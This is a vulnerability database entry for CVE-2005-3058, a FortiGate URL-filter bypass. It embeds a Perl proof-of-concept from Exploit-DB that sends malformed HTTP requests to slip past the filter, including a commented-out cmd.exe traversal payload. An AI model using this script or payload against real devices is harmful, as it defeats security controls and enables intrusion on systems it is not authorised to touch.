CVE-2005-3058 : Detail

CVE-2005-3058

A01-Broken Access Control
5.69%V4
Network
2006-02-14
18h00 +00:00
2018-10-19
12h57 +00:00
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CVE Descriptions

Interpretation conflict in Fortinet FortiGate 2.8, running FortiOS 2.8MR10 and v3beta, allows remote attackers to bypass the URL blocker via an (1) HTTP request terminated with a line feed (LF) and not carriage return line feed (CRLF) or (2) HTTP request with no Host field, which is still processed by most web servers without violating RFC2616.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 27203

Publication date : 2006-02-12 23h00 +00:00
Author : Mathieu Dessus
EDB Verified : Yes

source: https://www.securityfocus.com/bid/16599/info Fortinet FortiGate is prone to a vulnerability that could allow users to bypass the device's URL filtering. FortiGate devices running FortiOS v2.8MR10 and v3beta are vulnerable to this issue. Other versions may also be affected. # http_req.pl # # Made by (Mathieu Dessus) # # Make a filter for /test* URL in the Fortigate and # remove the # depending on which HTTP request you want to test use IO::Socket; $target = '1.2.3.4'; # Detected $data = "GET /test HTTP/1.1\r Host: $target\r Pragma: no-cache\r Accept: */*\r \r "; # Not detected $data = "GET /test2 HTTP/1.1 Host: $target Pragma: no-cache Accept: */* "; # Not detected $data = "GET /test3 HTTP/1.0\r\n\r\n"; # Detected #$data = "GET /test4 HTTP/1.0\r\nHost: $target\r\n\r\n"; # Detected :) #$data = "GET //c/winnt/system32/cmd.exe?/c+dir HTTP/1.0\n\n"; my $sock = new IO::Socket::INET ( PeerAddr => $target, PeerPort => '80', Proto => 'tcp', ); die "Could not create socket: $!\n" unless $sock; print $sock $data; read($sock, $ret, 600); print($ret."\n"); close($sock);

Products Mentioned

Configuraton 0

Fortinet>>Fortios >> Version To (including) 2.8_mr10

    Fortinet>>Fortios >> Version To (including) 3_beta

    Configuraton 0

    Fortinet>>Fortigate >> Version 2.8

      References

      http://www.securityfocus.com/bid/16599
      Tags : vdb-entry, x_refsource_BID
      http://secunia.com/advisories/18844
      Tags : third-party-advisory, x_refsource_SECUNIA
      http://www.vupen.com/english/advisories/2006/0539
      Tags : vdb-entry, x_refsource_VUPEN